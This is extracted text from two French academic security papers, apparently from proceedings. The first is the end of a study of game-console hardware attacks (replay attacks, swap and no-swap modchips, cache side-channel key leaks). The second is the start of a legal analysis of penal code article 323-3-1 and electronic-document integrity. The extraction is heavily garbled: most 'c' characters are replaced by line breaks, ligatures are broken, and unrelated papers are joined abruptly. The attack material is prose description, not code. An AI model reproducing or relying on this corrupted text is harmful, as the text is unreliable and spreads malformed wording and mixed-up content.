uler la ra
ine à

partir de deux feuilles et O(log2(n)) pères. On obtient ainsi pour n ordres, n× log2(n) transa
tions
sur le bus en doublant le 
oût de la mémoire prin
ipale.

Nous disposons don
 de deux types de solutions pour éviter les attaques de rejeu. L'une des

solutions (les numéros de trame) permet de maintenir un tra�
 des bus normal. Cependant, la taille

de la mémoire interne du pro
esseur augmente de manière ex
essive. La solution de la signature

fon
tionne pour des pro
esseurs ave
 une mémoire interne de faible 
apa
ité (taille d'une signature).

La 
ontrepartie est que la véri�
ation d'un ordre né
essite une forte augmentation du tra�
 des bus.

La résistan
e aux attaques de rejeu est en
ore à 
es débuts. La question prin
ipale est de savoir s'il

est possible de 
onstruire un s
héma de signature sûr ayant un 
oût en bande passante 
onstant.

2.3 Attaques 
ontre la 
haîne de transmission

L'insertion d'un support de jeu provoque l'émission d'un signal d'authenti�
ation et la véri�
a-

tion par le pro
esseur de la validité du support. Une fois qu'un signal d'authenti�
ation valide est

émis, le support est 
onsidéré 
omme étant un original. La déte
tion de l'insertion d'un support

est e�e
tuée grâ
e à un 
apteur de présen
e et à un 
apteur d'ouverture/fermeture du le
teur. La

Figure 8 représente les signaux émis par 
es di�érents 
apteurs lors d'une insertion.

d’authentificationSupport
Pas de support Lecteur

ouvert
Lecteur
fermé

Détection 
Temps

Emission

Fig.8. Déte
tion d'un support de jeu

Le s
héma de véri�
ation employé dans les 
onsoles (une seule véri�
ation à l'insertion) rend


ette 
haîne de transmission très faible. En e�et, il su�t de rempla
er un support original par une


opie illi
ite pour leurrer le système. Cette attaque requiert de pouvoir tromper les 
apteurs ou

d'éliminer 
ertains signaux qu'ils émettent. C'est 
e que permettent les mod
hips de type swap.

D'une 
ertaine façon, les swap mod
hips transforment le bus des 
apteurs en un 
anal à e�a
ement.

Ils éliminent 
ertains signaux d'ouverture et de déte
tion de support.

La 
haîne de transmission peut aussi être 
omplètement 
ourt-
ir
uitée si un attaquant rejoue un

signal valide. Cette te
hnique est implantée grâ
e aux no-swap mod
hips. L'idée 
onsiste à 
apturer

un signal valide qui sera réémis par le mod
hip à l'insertion d'un support. Ce type d'attaque est

possible seulement si le signal d'authenti�
ation n'est pas 
orrélé au reste du support. Ces deux

attaques très simples montrent bien la fragilité de la 
haîne de transmission relayant le signal du

support.
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3 Le pro
esseur : noyau de l'insé
urité

Nous avons vu dans la partie pré
édente, que le tra�
 en dire
tion du pro
esseur peut être

fa
ilement manipulé par un attaquant. L'origine de 
e tra�
 est di�
ile à analyser. En e�et, les

mé
anismes internes des pro
esseurs peuvent générer des 
ommuni
ations additionnelles et di�
i-

lement prévisibles. Ces mé
anismes sont transparents pour le programmeur qui en a un 
ontr�le

très limité. Le pro
esseur peut don
 �a

identellement� faire 
ir
uler des données 
ritiques en 
lair

sur des bus non protégés.

3.1 Fuites d'information

Il existe deux hiérar
hies mémoire sur une 
arte mère. Nous avons présenté la hiérar
hie per-

mettant d'e�e
tuer le démarrage du système dans la se
tion 2.1. La deuxième hiérar
hie permet

au pro
esseur d'a

éder rapidement à une mémoire de grande taille (Figure 9). L'existen
e des

mémoires 
a
hes est due au faites que les entrées/sorties sont devenues un aspe
t limitant dans

les performan
es des pro
esseurs. On sait 
on
evoir des mémoires lentes de grande 
apa
ité et des

mémoires rapides de faible 
apa
ité. La hiérar
hie mémoire présentée Figure 9 illustre le 
ompro-

mis entre les mémoires rapides et les mémoires lentes. Le dernier élément de la hiérar
hie mémoire


ontenu dans le pa
kage du pro
esseur est la mémoire 
a
he. Une mémoire 
a
he est un ensemble

mémoire divisé en blo
 de n o
tets. L'asso
iativité d'un 
a
he détermine la façon dont sont pla
és

les blo
s provenant de la mémoire prin
ipale. Un 
a
he asso
iatif par ensemble de taille m divise le


a
he en ensembles de m blo
s. Un blo
 de la mémoire 
entrale peut être pla
é dans n'importe quel

blo
 d'un ensemble. Quand on a

ède à un blo
 de données, deux situations peuvent survenir. Si le

blo
 est dans le 
a
he, on a 
e qu'on appelle un hit. Dans le 
as 
ontraire, on doit aller 
her
her le

blo
 dans la mémoire prin
ipale et évin
er un blo
 qui était dans le 
a
he, 
'est un miss. Nous allons

T
aille

Cache

Mémoire principale

Mémoire de masse

Registres

V
it
es

se

Fig. 9. Hiérar
hie mémoire

maintenant montrer qu'il est possible d'exploiter le 
a
he pour ré
upérer des informations se
rètes.

Dans la se
tion 2.1, nous avons vu que le pro
esseur dé
hi�re le bootload à l'aide du 
ode de la

ROM. Les données dé
hi�rées passent des registres, au 
a
he. Si la taille des données à dé
hi�rer

dépasse la taille du 
a
he alors une partie du bootload va transiter sur le bus en dire
tion de la mé-

moire prin
ipale. De manière générale, lorsqu'un pro
essus a

ède à des données sensibles qui sont

pla
ées dans le 
a
he, une interruption ou un pro
essus 
on
urrent peut provoquer la fuite de 
es
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données sur les bus. En e�et, l'état du 
a
he est partagé par les pro
essus s'exé
utant sur un même

support. Les données ne sont pas dire
tement a

essibles mais en 
hargeant un blo
 de données,

un pro
essus peut provoquer l'évi
tion d'une donnée ne lui appartenant pas. La re
her
he de 
es


anaux 
a
hés a 
ommen
é dans les années 90 [13℄. Ré
emment, de nombreuses attaques [10,11℄ ont

été menées 
ontre des algorithmes de 
hi�rement employant des tables. L'attaquant dispose d'un

pro
essus qui inspe
te l'état du 
a
he. Plus exa
tement, 
e pro
essus mesure les temps d'a

ès à

une table. Suivant les motifs d'a

ès mémoire l'attaquant est 
apable de déterminer la 
lef se
rète

employée.

Fig. 10. Tra
e de de la mémoire 
a
he. L'axe des abs
isses représente le numéro de la ligne de 
a
he a

édée.

Un blo
 de 
ouleur fon
é signale un hit et un blo
 de 
ouleur 
lair indique un miss. On voit 
lairement les

zones a

édées par le pro
essus espionné (i
i un 
hi�rement AES). La tra
e a été e�e
tuée sur un Pentium

4 ave
 un 
a
he de donnée de 8Ko et une taille de blo
 de 64 o
tets.

Les pro
esseurs modernes in
luent des fon
tionnalités permettant d'éliminer 
e type de fuite

en employant des verrous (
a
he lo
k). Quand le verrou est a
tivé, l'état du 
a
he ne peut pas

être modi�é : tous les a

ès mémoires seront servis depuis la mémoire prin
ipale sans passer par le


a
he. Les pro
esseurs disposent aussi d'instru
tions pour invalider le 
ontenu du 
a
he. Lorsqu'une

interruption survient le pro
esseur invalide l'intégralité du 
a
he 
e qui évite toute fuite de données.

Ces deux types d'instru
tions permettent d'éliminer toutes les évi
tions de données sensibles.

De tels mé
animes sont in
lus dans les pro
esseurs [12℄ depuis 1999 et employés dans les 
onsoles

a
tuelles.

4 Con
lusion

Les 
artes mères des 
onsoles de jeux sont di�
iles à protéger des attaques matérielles. La raison

de 
ette di�
ulté vient du fait que la sé
urité est en
ore se
ondaire dans le pro
essus de 
on
eption.

C'est seulement une fois que les performan
es de la 
arte mère sont jugées satisfaisantes que les

aspe
ts sé
uritaires sont envisagés. La 
omplexité des 
omposants apparaît alors aux 
on
epteurs qui

sont déjà pieds et poings liés. Les 
ontraintes é
onomiques empê
hent le déploiement de 
omposants

sé
urisés 
omme le 
hi�rement transparent des bus ou l'authenti�
ation des 
apteurs. Tous 
es

fa
teurs 
ompromettent les 
han
es de voir apparaître des 
onsoles protégeant les droits d'auteur.
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Résumé Cet arti
le résulte de la 
onfrontation des le
tures que peuvent avoir des 
her
heurs

en droit et en informatique sur les textes juridiques qui 
on
ernent la sé
urité informatique.

Nous 
onsidérons deux exemples. Le premier porte sur l'arti
le 323-3-1 du 
ode pénal �

pouvant 
on
erner, par exemple, toute personne s'intéressant aux failles de sé
urité et aux

virus. Dans le se
ond exemple, nous nous interrogeons sur la notion d'intégrité dans le 
adre

des arti
le 1316 et suivants du 
ode 
ivil dé�nissant l'é
rit dit éle
tronique ainsi que les


onditions de sa 
onservation et de sa signature.

1 Introdu
tion

Lorsque l'informatique est passée d'un domaine réservé à une minorité de 
her
heurs et d'ama-

teurs à une réalité quotidienne pour une majorité, il a né
essairement fallu prendre en 
ompte

la dimension publique de l'informatisation 
roissante. Il est indéniable que la massi�
ation a mis

au jour des vulnérabilités ampli�ées par le passage à l'é
helle. Cette vulnérabilité 
onjointement à

laquelle s'est développée l'informatisation s'est a

ompagnée du développement de réponses de sé-


urité informatique. Si 
elles-
i 
omportent inévitablement un aspe
t te
hnologique, les te
hniques

d'ingénierie so
iale mettent régulièrement en éviden
e qu'elles ne peuvent être réduites à 
ette di-

mension. Ainsi, la prévention et la gestion de la vulnérabilité passent également par une prise en


ompte du fa
teur humain au travers d'une régulation qui peut-être bottom-up : 
hartes et autres


odes de bonne 
onduite, ou top-down : textes législatifs ou réglementaires. Nous nous intéressons

dans 
et arti
le à une 
onfrontation des le
tures que peuvent avoir des 
her
heurs en droit et en

informatique sur les textes juridiques qui 
on
ernent la sé
urité informatique. En e�et, la régulation

doit faire fa
e à la prise en 
ompte des 
ara
téristiques intrinsèques au nouveau domaine qu'elle vise

à réglementer, prise en 
ompte qui ne va pas sans paradoxes quand les 
ultures et interprétations

sont di�érentes.

⋆
Cet arti
le résulte de la 
ollaboration menée dans le 
adre du projet Asphalès de l'ACI Sé
urité et

Informatique.

⋆⋆
Dire
tri
e de re
her
he au CNRS-CECOJI.

⋆ ⋆ ⋆
Atta
hée temporaire d'enseignement et de re
her
he à l'Institut Gaspard Monge de l'université de Marne-

la-Vallée, ratta
hée également au CNRS-CECOJI, 
her
heur extérieur au projet Codes de l'INRIA-

Ro
quen
ourt.
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La première partie de l'arti
le 
on
erne la re
her
he en sé
urité informatique. La 
ulture dans 
e

domaine est 
elle d'une 
onfrontation permanente attaquant-attaqué

1

, 
omme l'illustre par exemple

l'évaluation de la sé
urité d'un système de 
hi�rement. Des lois telles que 
elle visant à interdire la

détention ou la mise à disposition de 
ertains types de programmes

2

témoignent d'une 
ertaine mé-


onnaissan
e et in
ompréhension des mé
anismes de re
her
he dans 
e domaine, où la transposition

de mesures de sé
urité physique à la sé
urité logique pourrait se révéler parti
ulièrement inappro-

priée. Elles rendent bien in
ertaines les a
tivités d'une 
ommunauté dont les 
ontours, souvent �ous,

sont bien plus larges que la seule 
ommunauté a
adémique

3

.

Le deuxième sujet que nous allons traiter 
on
erne les 
ara
téristiques exigées de l'é
rit dit éle
-

tronique pour lui re
onnaître une valeur juridique et une for
e probatoire dans le 
adre d'é
hanges

à 
ourt terme et sur le long terme. Que signi�e la notion d'intégrité dans les domaines juridique

et informatique ? Quelles sont les 
onséquen
es de 
es di�éren
es d'interprétation ? Peut-on espérer


on
ilier 
e que permet et ne permet pas l'informatique ave
 
e dont la loi a besoin à travers l'é
rit ?

2 Détention ou mise à disposition de virus informatiques

2.1 Le 
ontexte législatif

4

Dans la loi pour la 
on�an
e dans l'é
onomie numérique, le législateur a voulu renfor
er l'arsenal

répressif en enri
hissant le 
ode pénal d'un nouvel arti
le (323-3-1) visant dire
tement la détention

et la mise à disposition d'équipements 
onçus pour 
ommettre les faits d'intrusion dans un système

ou d'entrave au fon
tionnement de 
e système : � Le fait, sans motif légitime, d'importer, de dé-

tenir, d'o�rir, de 
éder ou de mettre à disposition un équipement, un instrument, un programme

informatique ou toute donnée 
onçus ou spé
ialement adaptés pour 
ommettre une ou plusieurs des

infra
tions prévues par les arti
les 323-1 à 323-3 est puni des peines prévues respe
tivement pour

l'infra
tion elle-même ou pour l'infra
tion la plus sévèrement réprimée �

5

. Cette nouvelle infra
tion

permet, par exemple, de san
tionner la détention d'un virus informatique avant que le virus n'ait

été introduit frauduleusement dans un système informatique. Comme le fait remarquer le sénateur

Alex Türk

6

dans son rapport

7

, la 
omparaison peut être faite ave
 une disposition du 
ode mo-

nétaire et �nan
ier qui punit � le fait de détenir, d'o�rir, de 
éder ou de mettre à disposition des

équipements, instruments, programmes informatiques ou toutes données 
onçues ou spé
ialement

adaptés pour 
ommettre les délits de 
ontrefaçon ou de falsi�
ation de 
artes de paiement �

8

.

A�n de permettre � entre autres � aux laboratoires en informatique de poursuivre leur re
her
he

1

� une logique bou
lier/glaive sans doute durable � 
omme le souligne le rapport Mesures te
hniques de

prote
tion des ÷uvres & DRMS établi par Philippe Chantepie et disponible sur http://www.
ulture.

gouv.fr/
ulture/
spla/Mptdrms.pdf

2

Arti
le 323-3-1 du 
ode pénal, qui ne se limitent d'ailleurs nullement à 
et aspe
t, voir 
i-après.

3

La seule dont il semblerait que les a
tivités soient expli
itement mises hors de 
ause, par un avis et non

dire
tement par le texte de loi.

4

Une partie de 
ette présentation du 
ontexte législatif est tirée d'une 
ontribution d'I. de Lamberterie

(Le
ture juridique de la sé
urité informatique) à une en
y
lopédie de l'informatique et des systèmes

d'information à paraître, Vuibert, 2006.

5

voir annexes.

6

Également président de la Commission nationale de l'informatique et des libertés depuis le 3 février 2004.

7

Avis n

o

351 du sénateur Alex Türk, p. 133.

8

Arti
le L. 163-4-1 du Code monétaire et �nan
ier.
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en sé
urité informatique, le projet de loi initial limitait le 
hamp d'appli
ation de l'infra
tion :


elle-
i n'était pas appli
able � lorsque la détention, l'o�re, la 
ession et la mise à disposition de

l'instrument, du programme informatique ou de toute donnée � pouvaient être justi�ées par les

besoins de la re
her
he s
ienti�que et te
hnique ou de la prote
tion et de la sé
urité des réseaux de


ommuni
ations éle
troniques et des systèmes d'information

9

.

Lors des débats parlementaires, les notions de besoins de la re
her
he s
ienti�que et te
hnique

ou de prote
tion de la sé
urité des réseaux de 
ommuni
ation ont été quali�ées de parti
ulièrement

impré
ises, sus
eptibles de re
ouvrir des organismes irrépro
hables et d'autres qui le seraient moins,


ertains pouvant être tentés de développer des virus informatiques en ex
ipant de leur mission de

sé
urisation des réseaux

10

. Prenant en 
ompte 
es arguments, le Sénat a proposé la suppression du

deuxième alinéa et l'introdu
tion dans l'arti
le 323-3-1 de la mention sans motif légitime. C'est 
e

qui a été retenu dans le texte de la loi. Pour mieux 
omprendre 
e qu'il faut entendre par motif

légitime, il faut se rapporter aux 
ommentaires du sénateur Alex Türk qui pré
ise que la re
her
he

s
ienti�que et la sé
urisation des réseaux pourraient, naturellement, entrer dans le 
hamp des motifs

légitimes. Il reviendra, bien entendu, au juge d'appré
ier la légitimité des motifs, dès lors qu'il est

impossible dans la loi d'envisager toutes les hypothèses dans une telle matière. Le juge appré
iera


ette légitimité sur la base des preuves qui lui seront apportées par 
elui qui 
her
he à justi�er

qu'il entre dans l'ex
eption à l'arti
le 323-3-1, preuve di�
ile à rapporter 
omme nous le montre la

le
ture suivante de l'arti
le.

2.2 Analyse de l'arti
le 323-3-1 du 
ode pénal

L'arti
le 323-3-1 du 
ode pénal a naturellement sus
ité beau
oup d'inquiétude dans la 
ommu-

nauté informatique jusqu'à ré
emment peu habituée à une telle solli
itude de la part du législateur.

Nul doute qu'ave
 un �let aux mailles aussi petites les auteurs d'a
tes malveillants ne sauraient

é
happer à tout le moins à la quali�
ation de leurs a
tes. Néanmoins, même un 
her
heur en sé
u-

rité, normalement hors de 
ause, en viendrait rapidement à se demander si toute personne faisant

preuve d'un tant soit peu de 
uriosité ne serait pas alors sus
eptible de tomber sous le 
oup de 
et

arti
le. C'est tout le paradoxe de lois qui traitent de la sé
urité logique 
omme elle le ferait de la

sé
urité physique, semblant négliger qu'avoir a

ès à un système n'admet au
un équivalent stri
t

ave
 avoir a

ès à un lieu et qu'ériger des barrières à la ré�exion n'est peut être pas la mesure la

plus adaptée.

Cadre de le
ture du texte par un 
her
heur en informatique

11

Les arti
les 111-4 : � La loi

pénale est d'interprétation stri
te. � et 121-3 : � Il n'y a point de 
rime ou de délit sans intention de

le 
ommettre. [. . . ] � du 
ode pénal 
onstituent le 
ontexte dans lequel l'expression motif légitime

devrait protéger tous 
eux qui agissent de bonne foi mais sur qui pèse néanmoins la 
harge de la

preuve. Il reviendra ainsi au juge d'interpréter de manière stri
te 
e qu'une le
ture attentive des

arti
les ne peut manquer de faire apparaître 
omme ex
eptionnellement large et �ou.

9

Avis n

o

351 du sénateur Alex Türk, pré
ité, p 134.

10

Avis n

o

608 de Madame Mi
hèle Tabarot, député, au nom de la 
ommission des lois, 11 février 2003.

11

La le
ture qui suit s'ajoute à de nombreux 
ommentaires, tant de juristes que d'informati
iens, sus
ités

par l'arti
le 323-3-1 du 
ode pénal depuis la parution de la LCEN en 2004. Elle ne vise don
 pas à une

simple a

umulation mais plut�t à mettre en valeur une démar
he de re
her
he qui 
onsiste, pour un


her
heur en informatique, à se pen
her sur le droit qui s'applique à son domaine a�n de parti
iper à la


onstru
tion du droit positif.
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Une première interrogation sur les délits Reprenons la le
ture méthodique des arti
les du 
ode

pénal et les quelques questions qu'ils soulèvent naturellement. Nous pouvons formuler une première

remarque ; il semblerait que l'arti
le 323-1 traite expli
itement le 
as d'un a

ès frauduleux suivi

de 
onséquen
es. Les autres arti
les traitent des mêmes 
onséquen
es sans faire mention d'un a

ès

frauduleux. Il semblerait don
 qu'il faille entendre que les autres 
as sont plus sévèrement punis.

L'arti
le 323-2 soulève en outre la question entière de son interprétation

12

: le terme frauduleux en

est absent et rien ne pré
ise à qui appartient le système.

Les interrogations portent sur les termes � système de traitement automatisé de données �. S'il

est aisé de 
omprendre qu'ils visent à re
ouvrir d'une 
ertaine manière toute la réalité informatique,

la di�
ulté à dé�nir expli
itement 
e qu'est le � système �, qu'il soit physique, logique, un logi
iel,

une ma
hine, un réseau, et
. nous 
onduit aux questions suivantes :

� Que signi�e a

éder ou se maintenir dans tout ou partie d'un système de traitement automatisé

de données ? Il n'y a en e�et au
un parallèle possible ave
 le monde physique où la question

de s'introduire dans un domi
ile est, par exemple, parfaitement 
ompréhensible. Cela peut-

il signi�er s'authenti�er 
orre
tement auprès d'une (ou plusieurs) ma
hine(s), utiliser une

appli
ation qui s'exé
ute sur une (ou plusieurs) ma
hine(s), utiliser des données enregistrées

sur une (ou plusieurs) ma
hine(s), et
. ?

� Quel est l'auteur qui sera retenu ? En e�et, les a
tions pré
édentes peuvent aussi bien être exé-


utées par des appli
ations. Qui rendre responsable en bout de 
haîne ? L'utilisateur dont l'ap-

pli
ation a lan
é l'appli
ation qui a lan
é l'appli
ation (et ainsi de suite) 
ontrevenante, l'ad-

ministrateur du réseau d'où provient le délit, le fournisseur d'a

ès qui fournit la 
onnexion ?

Comment mettre en éviden
e l'intention de 
ommettre de tels délits ? Doit-on pour 
ela éva-

luer la quantité de 
onnaissan
e informatique d'une personne, ou lui fait-on grief de ne pas

savoir en invoquant une � faute d'impruden
e � ?

� Comment identi�e-t-on l'unité d'un système : ma
hine, réseau, partition, pro
essus ? Quel est

en le propriétaire ? Cela pourrait-il signi�er, l'interdi
tion de toute a
tion personnelle sur des

biens personnels (
onsole de jeu, logi
iels, et
.) légalement a
quis et soumis à une expertise

par ses propres soins ? En e�et, la tendan
e a
tuelle semble très 
lairement 
onsidérer qu'il

serait bon que le possesseur n'ait pas a

ès au 
ontenu de 
es biens

13

. Cet a

ès est-il ainsi

frauduleux ?

� En�n, 
omment juge-t-on du 
ara
tère frauduleux ? Que faire dans la situation d'un nom

d'utilisateur et d'un mot de passe évidents, par exemple ?

On est ainsi amené à se demander 
omment, à partir d'une réalité informatique que l'on 
her
he

à dé�nir 
omme un délit, est obtenue la dé�nition du délit et d'autre part quel est l'ensemble des

réalités informatiques qui sont 
ara
térisés par les dé�nitions ainsi obtenues. Cette dernière question

se pose ave
 for
e dans le 
as de l'arti
le 323-3-1.

Lorsque la potentialité du délit devient un délit Nous revenons maintenant à l'arti
le qui


on
erne l'amont des délits pré
édents. Ce ne sont plus les 
onséquen
es qui sont répréhensibles,

mais la détention et la mise à disposition. On pourrait également faire un parallèle ave
 les armes à

feu dont la détention et la mise à disposition est réglementée. Ave
 
e seul parallèle, nul doute que

12

Sont visées, par exemple, les attaques du type déni de servi
e.

13

On peut faire un parallèle ave
 un livre qu'on n'aurait pas le droit de lire, dont on ne pourrait parler des

te
hniques d'é
riture ni faire au
une 
ritique. La 
omparaison s'enri
hit en outre de la ré�exion qui suit

sur l'é
rit et la le
ture.
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la loi semble totalement justi�ée et raisonnable. Or la vo
ation première d'une arme à feu est bien

de tirer. C'est un objet matériel à �nalités 
ir
ons
rites. La situation est 
omplètement di�érente

ave
 
e que dé
rit la loi : � un équipement, un instrument, un programme informatique ou toute

donnée 
onçus ou spé
ialement adaptés pour [. . . ] �. L'ensemble des �nalités d'un tel ensemble est

si vaste et largement ambivalent qu'elle mène à une alternative simple : soit un arti
le qui pros
rit

indistin
tement pour 
ause de �nalités n'ayant pas de motif légitime, soit un arti
le inappli
able

pour 
ause de motif légitime, qu'il est toujours possible de trouver.

Ainsi, qu'est 
e qu'une � donnée 
onçue ou spé
ialement adaptée pour [. . . ] � ? Un livre dé
rivant
des faiblesses de sé
urité est-il une � donnée 
onçue ou spé
ialement adaptée pour [. . . ] � ? Un arti
le,
une quel
onque publi
ation dé
rivant des failles de sé
urité, sont-ils des objets de délit ? On ne peut

répondre à 
es questions par la négative que s'il est possible d'arguer d'un motif légitime.

À quelle aune juger de la légitimité du motif de la possession de tels objets ? En e�et, soit l'auteur

d'une telle expression avait pour intention de protéger la re
her
he, il doit ainsi 
onsidérer que la


uriosité est un motif légitime � motif qui peut être invoqué par à peu près qui
onque et rend ainsi

la loi absolument sans objet � soit il n'entend pas 
onsidérer un tel motif 
omme systématiquement

légitime et il reviendra aux jurispruden
es d'en fournir une expli
ation. Comment ne pas penser, par

exemple, que la mise à disposition de n'importe quel � équipement �, � instrument �, � programme

informatique � ou � toute donnée � a for
ément au moins le motif légitime de permettre à qui
onque

d'éprouver la sé
urité de son système informatique 
ontre les attaques existantes ? À quel expert

sera laissé le soin d'apporter l'avis qui 
onduira à 
onsidérer tel ou tel motif 
omme légitime ou

non ?

Si la volonté du législateur semble relativement 
laire � en quelque sorte punir les pourvoyeurs

� l'opportunité d'un tel texte reste mystérieuse dès lors qu'il ne 
onditionne pas l'attribution de la

qualité de délit à la lumière de l'usage qui est fait d'un outil aux �nalités multiples et intrinsèquement

ambivalentes mais à la lumière d'un hypothétique motif de possession de 
et outil, dont la légitimité

doit être démontrée. Perplexité grandissante lorsqu'on prend en outre 
onnaissan
e de l'arti
le 323-

7 : � La tentative des délits prévus par les arti
les 323-1 à 323-3-1 est punie des mêmes peines. �

3 La double 
ara
térisation de l'intégrité

Cette expression, empruntée à J. F. Blan
hette

14

, est aujourd'hui une éviden
e pour tous 
eux

qui ont a�aire ave
 les notions de garanties et de sé
urité dans la 
onservation des do
uments infor-

matiques. En e�et l'intégrité vise la � Prévention d'une modi�
ation non autorisée de l'information.

Garantie de la présen
e et de la 
onservation sans altération d'une information ou d'un pro
essus �

15

. L'intégrité est aussi la 
ara
téristique de l'absen
e de modi�
ations des données 
onstituant

un do
ument. � Assurer l'intégrité de données 
onsiste à permettre la déte
tion de leurs modi�
a-

tions volontaires, telles 
elles qui dé
oulent de la possibilité informatique d'altérer physiquement

des informations-données dans une mémoire et/ou d'y introduire des instru
tions ou algorithmes

qui fassent é
happer la ma
hine au 
ontr�le de son maître

16

�.

14

Jean-François Blan
hette, � Modernité et intelligibilité du droit de la preuve français �, Communi
ation

Commer
e éle
tronique, n

o

3, mars 2005, pp. 21-26.

15

http://www.step-sa.fr/glossaire.html

16

http://www.fsa.ulaval.
a/personnel/vernag/EH/F/
ons/le
tures/Glossaire\%20de\%20la\

%20
yberguerre.htm
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3.1 Intégrité et sé
urité juridique

En droit, il est aujourd'hui question d'intégrité dans la loi sur la preuve. Cette notion y est

apparue 
omme le 
ondensé des qualités attendues d'un é
rit signé traditionnel : durabilité, �délité

et �abilité. La valeur probatoire d'un é
rit éle
tronique dépend des 
onditions de son établissement

et de sa 
onservation de nature à en garantir l'intégrité

17

. Il est en
ore question d'intégrité à propos

de la signature éle
tronique : � Lorsqu'elle est éle
tronique, elle 
onsiste en l'usage d'un pro
édé

�able d'identi�
ation garantissant son lien ave
 l'a
te auquel elle s'atta
he. La �abilité de 
e pro
édé

est présumée, jusqu'à preuve 
ontraire, lorsque la signature éle
tronique est 
réée, l'identité du

signataire assurée et l'intégrité de l'a
te garantie, dans des 
onditions �xées par dé
ret en Conseil

d'État �

18

. Que veut dire garantir l'intégrité ? L'une des �nalités de la signature éle
tronique

n'est-elle pas d'apporter 
ette garantie ? Peut-elle en
ore le faire quand les migrations périodiques

indispensables pour garantir la lisibilité du do
ument peuvent remettre en 
ause le pro
essus de

véri�
ation de signature ? Ce sont autant de questions qui requièrent les 
ompéten
es du spé
ialiste

de la sé
urité informatique.

3.2 Intégrité et sé
urité informatique

Un point important à soulever avant même de parler de l'intégrité d'un é
rit éle
tronique est


elui de la nature de 
et é
rit

19

. L'arti
le 1316 du 
ode 
ivil dé�nit ainsi : � La preuve littérale, ou

preuve par é
rit, résulte d'une suite de lettres, de 
ara
tères, de 
hi�res ou de tous autres signes ou

symboles dotés d'une signi�
ation intelligible, quels que soient leur support et leurs modalités de

transmission �. La loi indique don
 que toute suite de symboles intelligibles, dire
tement ou indire
-

tement, don
 par exemple binaires, quel que soit le support, est un é
rit, et 
e sans dis
rimination

de 
e qui est représenté sous 
ette forme. Ainsi, d'un é
rit qui dans l'a

eption 
ourante est entendu


omme le rendu visible d'un traitement de texte (par exemple) la loi re
onnaît la valeur d'é
rit à

toute suite binaire. Dans 
e sens, un programme exé
utable, disponible seulement sous sa forme de

�
hier dit binaire est don
 un é
rit, ainsi qu'un enregistrement audio ou vidéo numérique. Aussi,


ompris dans 
e sens, le problème de l'intégrité de l'é
rit dit éle
tronique renvoie-t-il au problème

traditionnel de l'intégrité en informatique, 
'est-à-dire du 
ara
tère de données numériques qui res-

tent identiques (par rapport à une sour
e ou par rapport à un état antérieur) quelles que soient

les manipulations auxquelles elles sont soumises. La véri�
ation de 
ette propriété est dévolue à

di�érents algorithmes, selon les propriétés, 
ryptographiques ou non, attendues (
heksum, CRC,

MAC, fon
tions de ha
hage, signature, et
.).

Plusieurs questions déli
ates viennent à se poser lorsqu'on 
onsidère le pro
édé 
ryptographique

de signature, venant mettre en doute le fait que l'intégrité telle qu'attendue par la loi se résume

à l'intégrité informatique. En e�et, à redé�nir l'é
rit, il faut aussi redé�nir la le
ture. Ainsi, que

devra-t-on signer ? Une telle question s'impose lorsqu'on prend en 
ompte le fait qu'au
un �
hier

n'est auto-su�sant en lui-même pour l'a

ès au 
ontenu é
rit. Il y a en fait deux le
tures su

es-

sives : la première est e�e
tuée par l'ensemble {ordinateur, système d'exploitation, logi
iels} à partir

17

Arti
le 1316-1 du Code 
ivil

18

Art 1316-4 in �ne.

19

Notons qu'en informatique on parle plus volontiers en terme de numérique plut�t que d'éle
tronique. Le

premier adje
tif se rapporte à la représentation de l'information grâ
e à un alphabet parti
ulier, alors

que le se
ond est relatif à l'utilisation de matériel éle
tronique (
e qui est tout aussi bien le 
as de plaques

de 
uisson que d'un ordinateur).
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d'un 
ontenu �xé sur un support numérique, la se
onde est la per
eption par un être humain du

rendu du premier ensemble. La di�
ulté prin
ipale de la question de l'intégrité réside dans le fait

que l'informatique porte son attention à l'é
rit avant la première le
ture (un �
hier), alors que le

droit s'intéresse au résultat de 
ette le
ture (
e qui est visible à l'é
ran par exemple). Faudrait-il

alors signer l'ensemble {�
hier, {ordinateur, système d'exploitation, logi
iels}}

20

pour parvenir aux

mêmes 
ara
téristiques que l'é
rit traditionnel ? Cela n'est pas envisageable dans la pratique. Il

faut don
 pouvoir s'assurer de la �abilité de la transformation e�e
tuée par 
ette première le
ture,

�abilité qui exige des formats ouverts et pérennes asso
iés à des logi
iels parfaitement spé
i�és.

Par ailleurs, des questions 
omplémentaires apparaissent 
on
ernant la signature 
ryptogra-

phique : quelle est l'exigen
e de sé
urité que requiert la loi et pour quelle durée ? En e�et, un

pro
édé de signature 
ryptographique ne peut être réputé �able qu'en l'état a
tuel des 
onnais-

san
es et de la puissan
e des ordinateurs. Rien ne le met à l'abri d'une avan
ée théorique, de la

dé
ouverte d'une faille, et de l'a

roissement 
ontinu de la puissan
e des ordinateurs. Il faut en outre

souligner le 
hangement qualitatif des risques liés à la possibilité de produire un faux. La 
apa
ité

de produ
tion d'un ordinateur est en e�et sans 
ommune mesure ave
 
elle d'un faussaire humain.

En revan
he, la di�
ulté à produire le premier faux est bien plus importante pour la signature


ryptographique que pour la signature manus
rite.

3.3 Les points de divergen
e et de 
onvergen
e

La médiation des ar
hivistes, les spé
ialistes de l'ar
hivage

21

, apportent aujourd'hui des é
lai-

rages pour appréhender la notion d'intégrité et dé�nir des politiques pertinentes d'établissement et

de 
onservation. Ils se pla
ent sur trois terrains 
omplémentaires : tout d'abord 
elui d'une remise

en 
ause du lien entre intégrité physique et authenti
ité du do
ument. Même si la 
haîne de bits est

modi�ée, 
es modi�
ations ne su�sent pas pour remettre en 
ause l'authenti
ité du do
ument. Pour

Interpares, � il n'est pas possible de 
onserver un é
rit éle
tronique en tant qu'objet physique entre-

posé. Il est seulement possible de préserver un do
ument manifeste �

22

; ensuite, il faut distinguer

� authenti
ité d'un do
ument qu'il soit ou non éle
tronique � d'une part et l'authenti�
ation de la

signature éle
tronique d'autre part. L'authenti�
ation de la signature éle
tronique doit être enten-

due dans son sens te
hnique se limitant aux moyens mis en ÷uvre pour atteindre l'identi�
ation

alors que l'ar
hiviste véri�era au sens juridique l'authenti�
ation d'un do
ument (identi�
ation et

adhésion au 
ontenu d'un a
te). La signature n'est alors qu'un élément parmi d'autres qui permet

d'appré
ier la valeur probatoire d'un do
ument. En�n, pour les ar
hivistes, 
'est sur le respe
t de

la 
haîne de préservation que s'appré
ie l'authenti
ité d'un do
ument, 
ette 
haîne étant l'ensemble

des 
ontr�les et des pro
édures qui assurent l'identité et l'intégrité d'un do
ument au travers de la

totalité de son 
y
le de vie.

On trouve aujourd'hui une autre réponse dans le résultat de la 
oopération entre juristes et

informati
iens qui a permis d'aboutir à la re
